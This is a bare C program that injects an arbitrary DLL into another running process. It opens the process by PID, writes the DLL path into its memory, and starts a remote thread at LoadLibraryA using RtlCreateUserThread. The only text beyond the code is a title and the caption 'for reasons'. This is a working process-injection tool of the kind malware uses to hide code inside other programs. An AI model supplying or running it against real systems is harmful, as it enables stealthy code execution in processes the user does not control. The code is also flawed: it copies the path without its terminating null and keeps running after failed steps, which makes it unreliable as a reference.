DLL injection using RtlCreateUserThread

for reasons

#include <windows.h>
#include <stdio.h>

#include "ntdll.h"

int main(int argc, char *argv[])
{
  HANDLE hThread;

  NTSTATUS status;

  char *buffer = argv[2];
  int procID = atoi(argv[1]);
  printf("\n[*] Supplied Args | PID = %i : Dll Path = %s", procID, buffer);

  HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);

  if(process==NULL)
  {
    printf("\n\n[*] Specified Process Doesn't Exist");
  }
  LPVOID addr = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
  if(addr==NULL)
  {
    printf("\n[*] Library Addresses not Found");
  }
  LPVOID arg = (LPVOID)VirtualAllocEx(process, NULL, strlen(buffer), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
  if(arg==NULL)
  {
    printf("\n[*] Could Not Allocate Memory for Dll");
  }
  int n = WriteProcessMemory(process, arg, buffer, strlen(buffer), NULL);
  if(n==0)
  {
    printf("\n[*] No bytes were written to the target Process");
  }
  status=RtlCreateUserThread(process,NULL,FALSE,0,0,0,(PUSER_THREAD_START_ROUTINE)addr, arg,&hThread,NULL); // Start Thread
  if(!NT_SUCCESS(status))
  {
    printf("\n[*] Error Occurred Creating A Thread");
    return -1;
  }
  printf("\nThread created\n");
  return 0;
}